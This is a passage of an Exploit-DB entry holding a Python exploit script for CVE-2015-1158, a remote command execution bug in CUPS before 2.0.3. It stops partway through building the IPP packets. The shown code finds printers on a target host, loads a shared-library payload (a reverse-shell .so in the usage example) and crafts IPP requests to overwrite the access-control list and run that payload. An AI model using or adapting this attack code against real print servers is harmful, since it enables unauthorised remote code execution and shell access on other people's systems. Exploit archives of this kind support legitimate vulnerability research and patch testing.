Exploit-DB #41233
Description: CUPS < 2.0.3 - Remote Command Execution
Type: remote
Platform: linux
Date: 2017-02-03
Author: @0x00string

Exploit:
#!/usr/bin/python
# Exploit Title: CUPS Reference Count Over Decrement Remote Code Execution
# Google Dork: n/a
# Date: 2/2/17
# Exploit Author: @0x00string
# Vendor Homepage: cups.org
# Software Link: https://github.com/apple/cups/releases/tag/release-2.0.2
# Version: <2.0.3
# Tested on: Ubuntu 14/15
# CVE : CVE-2015-1158
import os, re, socket, random, time, getopt, sys
from socket import *
from struct import *

def banner():
    print '''
             lol ty google
            [PII_REDACTED]000
         [PII_REDACTED]000000000   00
      [PII_REDACTED][PII_REDACTED]000000000
     [PII_REDACTED][PII_REDACTED][PII_REDACTED]0
    000000000            [PII_REDACTED]
   00000000              [PII_REDACTED]
  0000000               [PII_REDACTED]00
 0000000              [PII_REDACTED]00000
 000000              000000000  000000
0000000            000000000     000000
000000            000000000      000000
000000          000000000        000000
000000         00000000          000000
000000       000000000           000000
0000000    000000000            0000000
 000000   000000000             000000
 [PII_REDACTED]              0000000
 [PII_REDACTED]000               0000000
  [PII_REDACTED]0              00000000
  [PII_REDACTED]0            000000000
 [PII_REDACTED][PII_REDACTED][PII_REDACTED]0
  [PII_REDACTED][PII_REDACTED]000000000
     000 [PII_REDACTED]000000000
            [PII_REDACTED]000
              @0x00string
https://github.com/0x00string/oldays/blob/master/CVE-2015-1158.py
'''

def usage ():
    print   ("python script.py <args>\n"
            "   -h, --help:             Show this message\n"
            "   -a, --rhost:            Target IP address\n"
            "   -b, --rport:            Target IPP service port\n"
            "   -c, --lib               /path/to/payload.so\n"
            "   -f, --stomp-only        Only stomp the ACL (no postex)\n"
            "\n"
            "Examples:\n"
            "python script.py -a 10.10.10.10 -b 631 -f\n"
            "python script.py -a 10.10.10.10 -b 631 -c /tmp/x86reverseshell.so\n")
    exit()

def pretty (t, m):
        if (t is "+"):
                print "\x1b[32;1m[+]\x1b[0m\t" + m + "\n",
        elif (t is "-"):
                print "\x1b[31;1m[-]\x1b[0m\t" + m + "\n",
        elif (t is "*"):
                print "\x1b[34;1m[*]\x1b[0m\t" + m + "\n",
        elif (t is "!"):
                print "\x1b[33;1m[!]\x1b[0m\t" + m + "\n",

def createDump (input):
        d, b, h = '', [], []
        u = list(input)
        for e in u:
                h.append(e.encode("hex"))
                if e == '0x0':
                        b.append('0')
                elif 30 > ord(e) or ord(e) > 128:
                        b.append('.')
                elif 30 < ord(e) or ord(e) < 128:
                        b.append(e)

        i = 0
        while i < len(h):
                if (len(h) - i ) >= 16:
                        d += ' '.join(h[i:i+16])
                        d += "         "
                        d += ' '.join(b[i:i+16])
                        d += "\n"
                        i = i + 16
                else:
                        d += ' '.join(h[i:(len(h) - 0 )])
                        pad = len(' '.join(h[i:(len(h) - 0 )]))
                        d += ' ' * (56 - pad)
                        d += ' '.join(b[i:(len(h) - 0 )])
                        d += "\n"
                        i = i + len(h)

        return d

class tcpsock:
    def __init__(self, sock=None):
        if sock is None:
            self.sock = socket(
            AF_INET, SOCK_STREAM)
            self.sock.settimeout(30)
        else:
            self.sock = sock
    def connect(self, host, port):
        self.sock.connect((host, int(port)))
    def tx(self, msg):
        self.sock.send(msg)
    def rx(self):
        tmp  = self.sock.recv(1024)
        msg = ""
        while tmp:
            msg += tmp
            tmp  = self.sock.recv(1024)
        return msg

def txrx (ip, port, proto, txpacket):
    if (proto is "tcp"):
        sock = tcpsock()
    elif (proto is "udp"):
        sock = udpsock()
    else:
        return None
    sock.connect(ip, port)
    sock.tx(txpacket)
    rxpacket = sock.rx()
    return rxpacket

def locatePrinters(rhost, rport="631"):
    request = ( "GET /printers HTTP/1.1\x0d\x0a"
        "Host: " + rhost + ":" + rport + "\x0d\x0a"
        "User-Agent: CUPS/2.0.2\x0d\x0a"
        "Connection: Close\x0d\x0a"
        "\x0d\x0a")
    response = txrx(rhost, int(rport), "tcp", request)
    if response is not None:
        m = re.search('<TR><TD><A HREF="(.+)">.+</A></TD><TD>.+</TD><TD></TD><TD>.+</TD><TD>', response)
        if m is not None:
            printer = m.group(1)
            pretty("+","printer found: " + printer)
            return printer
        else:
            pretty("-","no printers")
            exit(1)
    else:
        pretty("-","no printers")
        exit(1)

def preparePayload(libpath):
    with open(libpath, 'rb') as f:
        payload = f.read()
    if payload is not None:
        pretty("*","Payload:\n" + createDump(payload))
    else:
        pretty("-","something went wrong")
        usage()
    return payload

def seedTarget(rhost, rport, printer, payload):
    i = random.randint(1,3)
    reqid = str(pack(">i",(i+2)))
    reqid2 = str(pack(">i",(i+3)))
    printer_uri = "ipp://" + rhost + ":" + str(rport) + printer

    create_job_packet = ("\x02\x00"
                         "\x00\x05"+
                         reqid+
                         "\x01"
                         "\x47"+"\x00\x12"+"attributes-charset"+"\x00\x05"+"utf-8"
                         "\x48"+"\x00\x1b"+"attributes-natural-language"+"\x00\x05"+"en-us"
                         "\x45"+"\x00\x0b"+"printer-uri" + str(pack(">h", len(printer_uri))) + printer_uri +
                         "\x42"+"\x00\x14"+"requesting